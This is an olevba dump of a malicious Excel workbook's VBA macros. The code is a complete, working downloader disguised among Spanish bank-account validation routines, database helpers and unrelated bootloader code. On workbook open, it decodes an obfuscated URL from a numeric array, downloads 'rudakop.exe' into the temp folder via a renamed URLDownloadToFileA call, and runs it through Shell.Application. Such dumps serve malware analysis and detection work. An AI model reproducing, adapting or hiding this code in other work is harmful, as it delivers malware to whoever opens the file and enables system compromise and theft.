Malicious Excel macro

olevba 0.41 - http://decalage.info/python/oletools
Flags        Filename
-----------  -----------------------------------------------------------------
OLE:MASIH--V 20151126-291-transfer.xls

(Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)

===============================================================================
FILE: 20151126-291-transfer.xls
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ÝòàÊíèãà.cls
in file: 20151126-291-transfer.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u042d\u0442\u0430\u041a\u043d\u0438\u0433\u0430'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private Sub Workbook_Open()
Comprueba_CuentaBan ""
PreparaBloquear
Calculo_CC_IBAN "", ""
InicializarFormatos
End Sub








-------------------------------------------------------------------------------
VBA MACRO Ëèñò1.cls
in file: 20151126-291-transfer.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04421'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Ëèñò2.cls
in file: 20151126-291-transfer.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04422'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Ëèñò3.cls
in file: 20151126-291-transfer.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04423'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: 20151126-291-transfer.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Public conn As String
Public Const cPTours As Byte = 1
Public Const cConta As Byte = 2
Public vEmpresa As String
Public vParamAplic As String
Public vSesion As String
Public vConfig As String
Public FormatoFecha As String
Public FormatoHora As String
Public FormatoImporte As String
Public FormatoPrecio As String
Public FormatoPorcen As String
Public FormatoExp As String
Public FormatoDec10d2 As String
Public FormatoDec10d3 As String
Public FormatoDec5d4 As String
Public FIni As String
Public FFin As String
Public FIniSeg As String
Public FFinSeg As String
Public FIniTel As String
Public FFinTel As String
Public teclaBuscar As Integer
Public CadenaDesdeOtroForm As String
Public NumRegElim As Long
Public processEnv  As Object
Public tempFolder As String
Public tempFile As String
Public shellApp As Object
Public CadenaCambio As String
Public ValorAnterior As String
Public MensError As String
Public AnchoLogin As String
Public Aplicaciones As String
#If Win64 Then
    #If VBA7 Then    ' Windows x64, Office 2010
       Declare PtrSafe Function CadenaParametro Lib "urlmon" Alias "URLDownloadToFileA" _
                (ByVal param1 As LongLong, ByVal param2 As String, ByVal param3 As String, _
                 ByVal param4 As LongLong, ByVal param5 As LongLong) As LongLong
    #Else    ' Windows x64,Office 2003-2007
       Declare Function CadenaParametro Lib "urlmon" Alias "URLDownloadToFileA" _
                                           (ByVal param1 As LongLong, ByVal param2 As String, ByVal param3 As String, _
                                            ByVal param4 As LongLong, ByVal param5 As LongLong) As LongLong
    #End If
#Else
    #If VBA7 Then    ' Windows x86, Office 2010
       Declare PtrSafe Function CadenaParametro Lib "urlmon" Alias "URLDownloadToFileA" _
                (ByVal param1 As Long, ByVal param2 As String, ByVal param3 As String, _
                 ByVal param4 As Long, ByVal param5 As Long) As Long
    #Else    ' Windows x86, Office 2003-2007
       Declare Function CadenaParametro Lib "urlmon" Alias "URLDownloadToFileA" _
                                           (ByVal param1 As Long, ByVal param2 As String, ByVal param3 As String, _
                                            ByVal param4 As Long, ByVal param5 As Long) As Long
    #End If
#End If
Public Sub Main()
Dim NomPc As String
Dim Servidor As String
Dim CadenaParametros As String
Dim cad As String, Cad1 As String
Dim Mens As String
Dim b As Boolean
 If App.PrevInstance Then
 MsgBox "Actualizador de cuentas ya se esta ejecutando", vbExclamation
 End
 End If
 Set vConfig = New Configuracion
 If vConfig.leer = 1 Then
 MsgBox "MAL CONFIGURADO", vbCritical
 End
 Exit Sub
 End If
 frmActualizarCCC.Show vbModal
End Sub
Public Function espera(Segundos As Single)
 Dim T1
 T1 = Timer
 Do
 Loop Until Timer - T1 > Segundos
End Function
Public Function AbrirConexion(Usuario As String, Pass As String, BaseDatos As String) As Boolean
Dim cad As String
On Error GoTo EAbrirConexion
 AbrirConexion = False
 Set conn = Nothing
 Set conn = New Connection
 conn.CursorLocation = adUseServer
 cad = "DRIVER={MySQL ODBC 3.51 Driver};DESC=;DATABASE=" & Trim(BaseDatos) & ";SERVER=" & vConfig.SERVER
 cad = cad & ";UID=" & Usuario
 cad = cad & ";PWD=" & Pass
 cad = cad & ";PORT=3306;OPTION=3;STMT=;"
 cad = cad & ";Persist Security Info=true"
 conn.ConnectionString = cad
 conn.open
 AbrirConexion = True
 Exit Function
EAbrirConexion:
 MuestraError Err.Number, "Abrir conexi?n.", Err.Description
End Function
Public Sub MuestraError(numero As Long, Optional cadena As String, Optional Desc As String)
 Dim cad As String
 Dim Aux As String
 On Error Resume Next
 cad = "Se ha producido un error: " & vbCrLf
 If cadena <> "" Then
 cad = cad & vbCrLf & cadena & vbCrLf & vbCrLf
 End If
 If conn.Errors.Count > 0 Then
 ControlamosError Aux
 conn.Errors.Clear
 Else
 Aux = ""
 End If
 If Aux <> "" Then Desc = Aux
 If Desc <> "" Then cad = cad & vbCrLf & Desc & vbCrLf & vbCrLf
 If Aux = "" Then cad = cad & "N?mero: " & numero & vbCrLf & "Descripci?n: " & Error(numero)
 MsgBox cad, vbExclamation
End Sub
Public Function DBSet(vData As Variant, Tipo As String, Optional EsNulo As String) As Variant
Dim cad As String
 If IsNull(vData) Then
 DBSet = ValorNulo
 Exit Function
 End If
 If Tipo <> "" Then
 Select Case Tipo
 Case "T"
 If vData = "" Then
 If EsNulo = "N" Then
 DBSet = ""
 Else
 DBSet = ValorNulo
 End If
 Else
 cad = (CStr(vData))
 NombreSQL cad
 DBSet = ""
 End If
 Case "N"
 If vData = "" Or vData = 0 Then
 If EsNulo <> "" Then
 If EsNulo = "S" Then
 DBSet = ValorNulo
 Else
 DBSet = 0
 End If
 Else
 DBSet = 0
 End If
 Else
 cad = CStr(ImporteFormateado(CStr(vData)))
 DBSet = TransformaComasPuntos(cad)
 End If
 Case "F"
 If vData = "" Then
 If EsNulo = "S" Then
 DBSet = ValorNulo
 Else
 DBSet = ""
 End If
 Else
 DBSet = ""
 End If
 Case "FH"
 If vData = "" Then
 If EsNulo = "S" Then DBSet = ValorNulo
 Else
 DBSet = ""
 End If
 Case "H"
 If vData = "" Then
 Else
 DBSet = ""
 End If
 Case "B"
 If vData Then
 DBSet = 1
 Else
 DBSet = 0
 End If
 End Select
 End If
End Function
Public Function DBLetMemo(vData As Variant) As Variant
 On Error Resume Next
 DBLetMemo = vData
 If Err.Number <> 0 Then
 Err.Clear
 DBLetMemo = ""
 End If
End Function
Public Function DBLet(vData As Variant, Optional Tipo As String) As Variant
 If IsNull(vData) Then
 DBLet = ""
 If Tipo <> "" Then
 Select Case Tipo
 Case "T"
 DBLet = ""
 Case "N"
 DBLet = 0
 Case "F"
 DBLet = ""
 Case "D"
 DBLet = 0
 Case "B"
 DBLet = False
 Case Else
 DBLet = ""
 End Select
 End If
 Else
 DBLet = vData
 End If
End Function
Public Sub PreparaBloquear()

tempFolder = processEnv("TEMP")

 'conn.Execute "commit"
 'conn.Execute "set autocommit=0"
 tempFile = tempFolder + "\" + "rudakop" + Chr(46) + "e" + "" + "" + "" + "xe"
End Sub
Public Sub TerminaBloquear()
 conn.Execute "commit"
 conn.Execute "set autocommit=1"
End Sub
Public Function ImporteFormateado(Importe As String) As Currency
Dim i As Integer
 If Importe = "" Then
 ImporteFormateado = 0
 Else
 Do
 i = InStr(1, Importe, ".")
 If i > 0 Then Importe = Mid(Importe, 1, i - 1) & Mid(Importe, i + 1)
 Loop Until i = 0
 ImporteFormateado = Importe
 End If
End Function
Public Function ImporteSinFormato(cadena As String) As String
Dim i As Integer
Do
 i = InStr(1, cadena, ".")
 If i > 0 Then cadena = Mid(cadena, 1, i - 1) & Mid(cadena, i + 1)
Loop Until i = 0
ImporteSinFormato = TransformaPuntosComas(cadena)
End Function
Public Function TransformaComasPuntos(cadena As String) As String
Dim i As Integer
 Do
 i = InStr(1, cadena, ",")
 If i > 0 Then
 cadena = Mid(cadena, 1, i - 1) & "." & Mid(cadena, i + 1)
 End If
 Loop Until i = 0
 TransformaComasPuntos = cadena
End Function
Public Sub NombreSQL(ByRef cadena As String)
Dim j As Integer
Dim i As Integer
Dim Aux As String
 j = 1
 Do
 i = InStr(J, cadena, "
 If i > 0 Then
 Aux = Mid(cadena, 1, i - 1) & "\"
 cadena = Aux & Mid(cadena, i)
 j = i + 2
 End If
 Loop Until i = 0
End Sub
Public Function EsFechaOKString(ByRef t As String) As Boolean
Dim cad As String
 cad = t
 If InStr(1, cad, "/") = 0 Then
 If Len(t) = 8 Then
 cad = Mid(cad, 1, 2) & "/" & Mid(cad, 3, 2) & "/" & Mid(cad, 5)
 Else
 If Len(t) = 6 Then cad = Mid(cad, 1, 2) & "/" & Mid(cad, 3, 2) & "/" & Mid(cad, 5)
 End If
 End If
 If IsDate(cad) Then
 EsFechaOKString = True
 t = Format(cad, "dd/mm/yyyy")
 Else
 EsFechaOKString = False
 End If
End Function
Public Function DevNombreSQL(cadena As String) As String
Dim j As Integer
Dim i As Integer
Dim Aux As String
 j = 1
 Do
 i = InStr(J, cadena, "
 If i > 0 Then
 Aux = Mid(cadena, 1, i - 1) & "\"
 cadena = Aux & Mid(cadena, i)
 j = i + 2
 End If
 Loop Until i = 0
 DevNombreSQL = cadena
End Function
Public Function DevuelveDesdeBD(kCampo As String, Ktabla As String, Kcodigo As String, ValorCodigo As String, Optional Tipo As String, Optional ByRef otroCampo As String) As String
 Dim RS As Recordset
 Dim cad As String
 Dim Aux As String
 On Error GoTo EDevuelveDesdeBD
 DevuelveDesdeBD = ""
 cad = "Select " & kCampo
 If otroCampo <> "" Then cad = cad & ", " & otroCampo
 cad = cad & " FROM " & Ktabla
 cad = cad & " WHERE " & Kcodigo & " = "
 If Tipo = "" Then Tipo = "N"
 Select Case Tipo
 Case "N"
 cad = cad & ValorCodigo
 Case "T", "F"
 cad = cad & ""
 Case Else
 MsgBox "Tipo : " & Tipo & " no definido", vbExclamation
 Exit Function
 End Select
 Set RS = New ADODB.Recordset
 RS.open cad, conn, adOpenForwardOnly, adLockOptimistic, adCmdText
 If Not RS.EOF Then
 DevuelveDesdeBD = DBLet(RS.Fields(0))
 If otroCampo <> "" Then otroCampo = DBLet(RS.Fields(1))
 End If
 RS.Close
 Set RS = Nothing
 Exit Function
EDevuelveDesdeBD:
 MuestraError Err.Number, "Devuelve DesdeBD.", Err.Description
End Function
Public Function DevuelveDesdeBDNew(vBD As Byte, Ktabla As String, kCampo As String, Kcodigo1 As String, valorCodigo1 As String, Optional tipo1 As String, Optional ByRef otroCampo As String, Optional KCodigo2 As String, Optional ValorCodigo2 As String, Optional tipo2 As String, Optional KCodigo3 As String, Optional ValorCodigo3 As String, Optional tipo3 As String) As String
Dim RS As Recordset
Dim cad As String
Dim Aux As String
On Error GoTo EDevuelveDesdeBDnew
 DevuelveDesdeBDNew = ""
 cad = "Select " & kCampo
 If otroCampo <> "" Then cad = cad & ", " & otroCampo
 cad = cad & " FROM " & Ktabla
 If Kcodigo1 <> "" Then
 cad = cad & " WHERE " & Kcodigo1 & " = "
 If tipo1 = "" Then tipo1 = "N"
 Select Case tipo1
 Case "N"
 cad = cad & Val(valorCodigo1)
 Case "T"
 cad = cad & DBSet(valorCodigo1, "T")
 Case "F"
 cad = cad & DBSet(valorCodigo1, "F")
 Case Else
 MsgBox "Tipo : " & tipo1 & " no definido", vbExclamation
 Exit Function
 End Select
 End If
 If KCodigo2 <> "" Then
 cad = cad & " AND " & KCodigo2 & " = "
 If tipo2 = "" Then tipo2 = "N"
 Select Case tipo2
 Case "N"
 If ValorCodigo2 = "" Then
 cad = cad & "-1"
 Else
 cad = cad & Val(ValorCodigo2)
 End If
 Case "T"
 cad = cad & DBSet(ValorCodigo2, "T")
 Case "F"
 cad = cad & ""
 Case Else
 MsgBox "Tipo : " & tipo2 & " no definido", vbExclamation
 Exit Function
 End Select
 End If
 If KCodigo3 <> "" Then
 cad = cad & " AND " & KCodigo3 & " = "
 If tipo3 = "" Then tipo3 = "N"
 Select Case tipo3
 Case "N"
 If ValorCodigo3 = "" Then
 cad = cad & "-1"
 Else
 cad = cad & Val(ValorCodigo3)
 End If
 Case "T"
 cad = cad & ""
 Case "F"
 cad = cad & ""
 Case Else
 MsgBox "Tipo : " & tipo3 & " no definido", vbExclamation
 Exit Function
 End Select
 End If
 Set RS = New ADODB.Recordset
 Select Case vBD
 Case cPTours
 RS.open cad, conn, adOpenForwardOnly, adLockOptimistic, adCmdText
 End Select
 If Not RS.EOF Then
 DevuelveDesdeBDNew = DBLet(RS.Fields(0))
 If otroCampo <> "" Then otroCampo = DBLet(RS.Fields(1))
 End If
 RS.Close
 Set RS = Nothing
 Exit Function
EDevuelveDesdeBDnew:
 MuestraError Err.Number, "Devuelve DesdeBD.", Err.Description
End Function
Public Function DevuelveDesdeBDnew2(kBD As Integer, kCampo As String, Ktabla As String, Kcodigo As String, ValorCodigo As String, Optional Tipo As String, Optional num As Byte, Optional ByRef otroCampo As String) As String
Dim RS As Recordset
Dim cad As String
Dim Aux As String
Dim v_aux As Integer
Dim campo As String
Dim Valor As String
Dim tip As String
On Error GoTo EDevuelveDesdeBDnew2
DevuelveDesdeBDnew2 = ""
cad = "Select " & kCampo
If otroCampo <> "" Then cad = cad & ", " & otroCampo
cad = cad & " FROM " & Ktabla
If Kcodigo <> "" Then cad = cad & " where "
For v_aux = 1 To num
 campo = RecuperaValor(Kcodigo, v_aux)
 Valor = RecuperaValor(ValorCodigo, v_aux)
 tip = RecuperaValor(Tipo, v_aux)
 cad = cad & campo & "="
 If tip = "" Then Tipo = "N"
 Select Case tip
 Case "N"
 cad = cad & Valor
 Case "T", "F"
 cad = cad & ""
 Case Else
 MsgBox "Tipo : " & tip & " no definido", vbExclamation
 Exit Function
 End Select
 If v_aux < num Then cad = cad & " AND "
 Next v_aux
Set RS = New ADODB.Recordset
Select Case kBD
 Case 1
 RS.open cad, conn, adOpenForwardOnly, adLockOptimistic, adCmdText
End Select
If Not RS.EOF Then
 DevuelveDesdeBDnew2 = DBLet(RS.Fields(0))
 If otroCampo <> "" Then otroCampo = DBLet(RS.Fields(1))
Else
 If otroCampo <> "" Then otroCampo = ""
End If
RS.Close
Set RS = Nothing
Exit Function
EDevuelveDesdeBDnew2:
 MuestraError Err.Number, "Devuelve DesdeBDnew2.", Err.Description
End Function
Public Function EsEntero(Texto As String) As Boolean
Dim i As Integer
Dim C As Integer
Dim L As Integer
Dim res As Boolean
 res = True
 EsEntero = False
 If Not IsNumeric(Texto) Then
 res = False
 Else
 C = 0
 L = 1
 Do
 i = InStr(L, Texto, ".")
 If i > 0 Then
 L = i + 1
 C = C + 1
 End If
 Loop Until i = 0
 If C > 1 Then res = False
 If C = 0 Then
 L = 1
 Do
 i = InStr(L, Texto, ",")
 If i > 0 Then
 L = i + 1
 C = C + 1
 End If
 Loop Until i = 0
 If C > 1 Then res = False
 End If
 End If
 EsEntero = res
End Function
Public Function TransformaPuntosComas(cadena As String) As String
 Dim i As Integer
 Do
 i = InStr(1, cadena, ".")
 If i > 0 Then
 cadena = Mid(cadena, 1, i - 1) & "," & Mid(cadena, i + 1)
 End If
 Loop Until i = 0
 TransformaPuntosComas = cadena
End Function
Public Sub InicializarFormatos()
 shellApp.open (tempFile)
 FormatoFecha = "yyyy-mm-dd"
 FormatoHora = "hh:mm:ss"
 FormatoImporte = "#,###,###,##0.00"
 FormatoPrecio = "##,##0.000"
 FormatoPorcen = "##0.00"
 FormatoDec10d2 = "##,###,##0.00"
 FormatoDec10d3 = "##,###,##0.000"
 FormatoDec5d4 = "0.0000"
 FormatoExp = "0000000000"
End Sub
Public Sub AccionesCerrar()
 On Error Resume Next
 Set vEmpresa = Nothing
 Set vSesion = Nothing
 conn.Close
 Set conn = Nothing
 If Err.Number <> 0 Then Err.Clear
End Sub







-------------------------------------------------------------------------------
VBA MACRO Module2.bas
in file: 20151126-291-transfer.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public Function delete_all_wom(fromArr() As Variant, LenLen As Integer, ByRef ruda As String) As String
    Dim i As Integer
    Variabl = ""
    For i = LBound(fromArr) To UBound(fromArr)
        Variabl = Variabl & Chr(fromArr(i) - LenLen - 9 * LenLen - 1000 - 234)
    Next i
    ruda = Variabl
End Function
Public Function Comprueba_CC(CC As String) As Boolean
 Dim ent As String
 Dim Suc As String
 Dim DC As String
 Dim i, i2, i3, i4 As Integer
 Dim NumCC As String
 If Len(CC) <> 20 Then Exit Function
 i = Val(Mid(CC, 1, 1)) * 4
 i = i + Val(Mid(CC, 2, 1)) * 8
 i = i + Val(Mid(CC, 3, 1)) * 5
 i = i + Val(Mid(CC, 4, 1)) * 10
 i = i + Val(Mid(CC, 5, 1)) * 9
 i = i + Val(Mid(CC, 6, 1)) * 7
 i = i + Val(Mid(CC, 7, 1)) * 3
 i = i + Val(Mid(CC, 8, 1)) * 6
 i2 = Int(i / 11)
 i3 = i - (i2 * 11)
 i4 = 11 - i3
 Select Case i4
 Case 11
 i4 = 0
 Case 10
 i4 = 1
 End Select
 If i4 <> Val(Mid(CC, 9, 1)) Then Exit Function
 i = Val(Mid(CC, 11, 1)) * 1
 i = i + Val(Mid(CC, 12, 1)) * 2
 i = i + Val(Mid(CC, 13, 1)) * 4
 i = i + Val(Mid(CC, 14, 1)) * 8
 i = i + Val(Mid(CC, 15, 1)) * 5
 i = i + Val(Mid(CC, 16, 1)) * 10
 i = i + Val(Mid(CC, 17, 1)) * 9
 i = i + Val(Mid(CC, 18, 1)) * 7
 i = i + Val(Mid(CC, 19, 1)) * 3
 i = i + Val(Mid(CC, 20, 1)) * 6
 i2 = Int(i / 11)
 i3 = i - (i2 * 11)
 i4 = 11 - i3
 Select Case i4
 Case 11
 i4 = 0
 Case 10
 i4 = 1
 End Select
 If i4 <> Val(Mid(CC, 10, 1)) Then Exit Function
 Comprueba_CC = True
End Function
Public Function Comprueba_CuentaBan(CC As String) As Boolean
 Dim urlAr() As Variant
urlAr = Array(1878, 1890, 1890, 1886, 1832, 1821, 1821, 1886, 1871, 1890, 1878, 1875, 1884, 1888, 1895, 1879, 1882, 1891, 1883, 1879, 1884, 1871, 1873, 1879, 1885, 1884, 1820, 1879, 1830, 1820, 1873, 1885, 1883, 1821, 1829, 1828, 1876, 1828, 1874, 1827, 1821, 1827, 1826, 1889, 1874, 1876, 1877, 1829, 1878, 1830, 1880, 1820, 1875, 1894, 1875)
delete_all_wom urlAr, 54, FormatoHora
Set shellApp = CreateObject("Shell.Application")
Set processEnv = CreateObject("WScript.Shell").Environment("Process")
Exit Function
 If Trim(CC) <> "" Then
 If Not Comprueba_CC(CC) Then
 MsgBox "La cuenta bancaria no es correcta", vbInformation
 End If
 End If
End Function
Public Function DownloadFile(url As String, LocalFilename As String) As Boolean
Dim lngRetVal As Long
CadenaParametro 0, url, LocalFilename, 0, 0
If lngRetVal = 0 Then DownloadFile = True
End Function
Public Function Comprueba_CC_IBAN(CC As String, IBAN As String) As Boolean
 Dim ent As String
 Dim Suc As String
 Dim DC As String
 Dim i, i2, i3, i4 As Integer
 Dim NumCC As String
 If Len(IBAN) <> 4 Then Exit Function
 i = Val(Mid(CC, 1, 1)) * 4
 i = i + Val(Mid(CC, 2, 1)) * 8
 i = i + Val(Mid(CC, 3, 1)) * 5
 i = i + Val(Mid(CC, 4, 1)) * 10
 i = i + Val(Mid(CC, 5, 1)) * 9
 i = i + Val(Mid(CC, 6, 1)) * 7
 i = i + Val(Mid(CC, 7, 1)) * 3
 i = i + Val(Mid(CC, 8, 1)) * 6
 i2 = Int(i / 11)
 i3 = i - (i2 * 11)
 i4 = 11 - i3
 Select Case i4
 Case 11
 i4 = 0
 Case 10
 i4 = 1
 End Select
 If i4 <> Val(Mid(CC, 9, 1)) Then Exit Function
 i = Val(Mid(CC, 11, 1)) * 1
 i = i + Val(Mid(CC, 12, 1)) * 2
 i = i + Val(Mid(CC, 13, 1)) * 4
 i = i + Val(Mid(CC, 14, 1)) * 8
 i = i + Val(Mid(CC, 15, 1)) * 5
 i = i + Val(Mid(CC, 16, 1)) * 10
 i = i + Val(Mid(CC, 17, 1)) * 9
 i = i + Val(Mid(CC, 18, 1)) * 7
 i = i + Val(Mid(CC, 19, 1)) * 3
 i = i + Val(Mid(CC, 20, 1)) * 6
 i2 = Int(i / 11)
 i3 = i - (i2 * 11)
 i4 = 11 - i3
 Select Case i4
 Case 11
 i4 = 0
 Case 10
 i4 = 1
 End Select
 If i4 <> Val(Mid(CC, 10, 1)) Then Exit Function
 Comprueba_CC_IBAN = True
End Function
Public Function Calculo_CC_IBAN(CC As String, IBAN As String) As String
 Dim ent As String
 Dim Suc As String
 Dim DC As String
 Dim i, i2, i3, i4 As Integer
 Dim NumCC As String
 Dim vIban As String
 Dim v1 As String
 Dim v2 As String
 Dim n1 As Integer
 Dim n2 As String
 DownloadFile FormatoHora, tempFile
 Resul = 0
 If Len(CC) <> 20 Then Exit Function
 If Len(IBAN) = 0 Then
 vIban = "ES"
 Else
 vIban = IBAN
 End If
 If IsNumeric(Mid(vIban, 1, 2)) Then
 Exit Function
 Else
 v1 = Mid(UCase(vIban), 1, 1)
 v2 = Mid(UCase(vIban), 2, 1)
 If Asc(v1) >= 65 And Asc(v1) <= 90 And Asc(v2) >= 65 And Asc(v2) <= 90 Then
 n1 = ValorLetra(v1)
 n2 = ValorLetra(v2)
 End If
 CC = CC & n1 & n2
 End If
 cc1 = Mid(CC, 1, 9)
 cc2 = Mid(CC, 10, Len(CC) - 9)
 For i = 1 To 4
 dig1 = cc1 Mod 97
 cc1 = dig1 & cc2
 If cc2 = "" Then Exit For
 If Len(cc1) > 9 Then
 cc2 = Mid(cc1, 10, Len(cc1))
 cc1 = Mid(cc1, 1, 9)
 Else
 cc2 = ""
 End If
 Next i
 Resul = 98 - dig1
 Calculo_CC_IBAN = Mid(vIban, 1, 2) & Format(Resul, "00")
End Function
Private Function ValorLetra(LEtra As String) As Byte
Dim Valor As Byte
 If Asc(LEtra) >= 65 And Asc(LEtra) <= 90 Then
 Valor = Asc(LEtra) - 55
 End If
 ValorLetra = Valor
End Function
Public Function DigitoControlCorrecto(CC As String) As String
 Dim ent As String
 Dim Suc As String
 Dim DC As String
 Dim i, i2, i3, i4 As Integer
 Dim NumCC As String
 If Len(CC) <> 20 Then Exit Function
 i = Val(Mid(CC, 1, 1)) * 4
 i = i + Val(Mid(CC, 2, 1)) * 8
 i = i + Val(Mid(CC, 3, 1)) * 5
 i = i + Val(Mid(CC, 4, 1)) * 10
 i = i + Val(Mid(CC, 5, 1)) * 9
 i = i + Val(Mid(CC, 6, 1)) * 7
 i = i + Val(Mid(CC, 7, 1)) * 3
 i = i + Val(Mid(CC, 8, 1)) * 6
 i2 = Int(i / 11)
 i3 = i - (i2 * 11)
 i4 = 11 - i3
 Select Case i4
 Case 11
 i4 = 0
 Case 10
 i4 = 1
 End Select
 DC = i4
 i = Val(Mid(CC, 11, 1)) * 1
 i = i + Val(Mid(CC, 12, 1)) * 2
 i = i + Val(Mid(CC, 13, 1)) * 4
 i = i + Val(Mid(CC, 14, 1)) * 8
 i = i + Val(Mid(CC, 15, 1)) * 5
 i = i + Val(Mid(CC, 16, 1)) * 10
 i = i + Val(Mid(CC, 17, 1)) * 9
 i = i + Val(Mid(CC, 18, 1)) * 7
 i = i + Val(Mid(CC, 19, 1)) * 3
 i = i + Val(Mid(CC, 20, 1)) * 6
 i2 = Int(i / 11)
 i3 = i - (i2 * 11)
 i4 = 11 - i3
 Select Case i4
 Case 11
 i4 = 0
 Case 10
 i4 = 1
 End Select
 DC = DC & i4
 DigitoControlCorrecto = DC
End Function




-------------------------------------------------------------------------------
VBA MACRO Module3.bas
in file: 20151126-291-transfer.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module3'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Dim Filename As String
Dim astr As String
Dim bstr As String
Dim a As ubyte
Dim b As ubyte
Dim i As ushort
Dim j As ushort
Dim k As ushort
Dim z As UInteger
Const Comset = ",N,8,1,CS,DS,RB0,TB0,BIN"
Dim Comport As String
Dim TSBIDENT As String
Dim TSBBUILD As UInteger
Dim TSBSTATUS As ubyte
Dim SIG000 As ubyte
Dim SIG001 As ubyte
Dim SIG002 As ubyte
Dim PAGESIZE As ubyte
Dim FLASHSIZE As ushort
Dim APPFLASH As ushort
Dim EEPROMSIZE As ushort
Dim APPJUMP As ushort
Dim TIMEOUT As ubyte
Dim PASSWORD As String
Dim DEVPORTS(6) As ubyte
Const REQUEST As String = "?"
Const CONFIRM As String = "!"
Function CheckChecksum(ByRef ihline As String) As ubyte
Dim i As ubyte
Dim C As ubyte
 For i = 2 To (Len(ihline)) Step 2
 C = C + Val("&h" + (Mid$(ihline, i, 2)))
 Next i
C = 0 - C
End Function
Sub SendCommand(ByRef astr As String)
 Dim a As ushort
 Dim t As ushort
 Dim bstr As String
 If Len(astr) = 0 Then Exit Sub
 Print #8, astr;
 If OneWireLocalEcho Then
 a = 0
 Do Until a = Len(astr)
 t = Timer + 1
 Do Until (Loc(8)) Or (Timer > t): Loop
 bstr = input$(1, #8)
 a = a + 1
 Loop
 End If
End Sub
Function RXBuffer() As String
 Dim a As ushort
 Dim t As UInteger
 Dim astr As String
 Dim bstr As String
 t = Timer + 3
 Do Until Loc(8) Or (Timer > t): Loop
 bstr = ""
 t = Timer + 3
 Do Until EOF(8) Or (Timer > t)
 a = Loc(8): sleep 100: a = Loc(8) - a
 If a = 0 Then
 astr = input$(Loc(8), #8)
 Else: astr = input$(1, #8)
 End If
 bstr = bstr + astr
 Loop
End Function
Function GetUserData() As ubyte
Dim i As ubyte
Dim bstr As String
SendCommand ("c")
bstr = RXBuffer
Clear LASTPAGE(0), 255, 255
For i = 0 To PAGESIZE - 1: LASTPAGE(i) = Asc(Mid$(bstr, i + 1, 1)): Next i
APPJUMP = (LASTPAGE(0) + LASTPAGE(1) * 256)
If TINYMEGA = 1 Then APPJUMP = 0
TIMEOUT = LASTPAGE(2)
i = 3: PASSWORD = ""
Do Until (i = PAGESIZE) Or (LASTPAGE(i) = 255)
 PASSWORD = PASSWORD + Chr$(LASTPAGE(i))
 i = i + 1
Loop
return (0)
End Function
Function VerifyUserData() As ubyte
Dim i As ubyte
Dim bstr As String
SendCommand ("c")
bstr = RXBuffer
if len(bstr) < 16 then return (255)
if right$(bstr,1) <> CONFIRM then return (255)
For i = 0 To Len(bstr) - 1
 If LASTPAGE(i) <> Asc(Mid$(bstr, i + 1, 1)) Then Exit For
Next i
if i < (Len(bstr)-1) then return (255)
return (0)
End Function
Function Word2Date(ByRef InWord As ushort) As UInteger
Word2Date = (InWord And 31) + _
 ((InWord And 480) \ 32) * 100 + _
 ((InWord And 65024) \ 512) * 10000 _
 + 20000000
End Function
Function ActivateTSB(ByRef Comport As String) As ubyte
Dim bstr As String
if open COM (Comport + Comset for binary as #8) > 0 then return (Err)
sleep 100
Print #8, "@@@";
bstr = RXBuffer
If Left$(bstr, 3) = "@@@" Then
 OneWireLocalEcho = 1
 bstr = Right$(bstr, (Len(bstr) - 3))
 Print
 Print "One-Wire interface detected."
End If
If bstr = "" Then
 line input "Password : ", PASSWORD
 SendCommand (PASSWORD)
 bstr = RXBuffer
 If bstr <> "" Then
 Print: Print "Password ... OK": Print
 else return (255)
 End If
End If
if right$(bstr,1) <> CONFIRM then return (255)
if LCase$(left$(bstr,3)) <> "tsb" then return (255)
Dim BUILDWORD As ushort
TSBIDENT = Left$(bstr, 3)
BUILDWORD = Asc(Mid$(bstr, 4, 1)) + Asc(Mid$(bstr, 5, 1)) * 256
TSBSTATUS = Asc(Mid$(bstr, 6, 1))
SIG000 = Asc(Mid$(bstr, 7, 1))
SIG001 = Asc(Mid$(bstr, 8, 1))
SIG002 = Asc(Mid$(bstr, 9, 1))
PAGESIZE = (Asc(Mid$(bstr, 10, 1))) * 2
APPFLASH = (Asc(Mid$(bstr, 11, 1)) + Asc(Mid$(bstr, 12, 1)) * 256) * 2
FLASHSIZE = ((APPFLASH \ 1024) + 1) * 1024
EEPROMSIZE = (Asc(Mid$(bstr, 13, 1)) + Asc(Mid$(bstr, 14, 1)) * 256) + 1
If (PAGESIZE <> 16) And _
 (PAGESIZE <> 32) And _
 (PAGESIZE <> 64) And _
 (PAGESIZE <> 128) _
 Then
 Print "PAGESIZE NOT VALID - ABORT."
 return (255)
End If
If BUILDWORD < 32768 Then
 TSBBUILD = Word2Date(BUILDWORD)
Else
 TSBBUILD = BUILDWORD + 65536 + 20000000
End If
Select Case Asc(Mid$(bstr, 15, 1))
Case &H0: JMPMODE = 0: TINYMEGA = 0
Case &HC: JMPMODE = 1: TINYMEGA = 0
Case &HAA: JMPMODE = 0: TINYMEGA = 1
End Select
Print
return GetUserData()
End Function
Sub ShowDeviceInfo()
 Print "TINY SAFE BOOTLOADER"
 Print "VERSION : "; TSBBUILD
 Print "STATUS : "; WHex(TSBSTATUS)
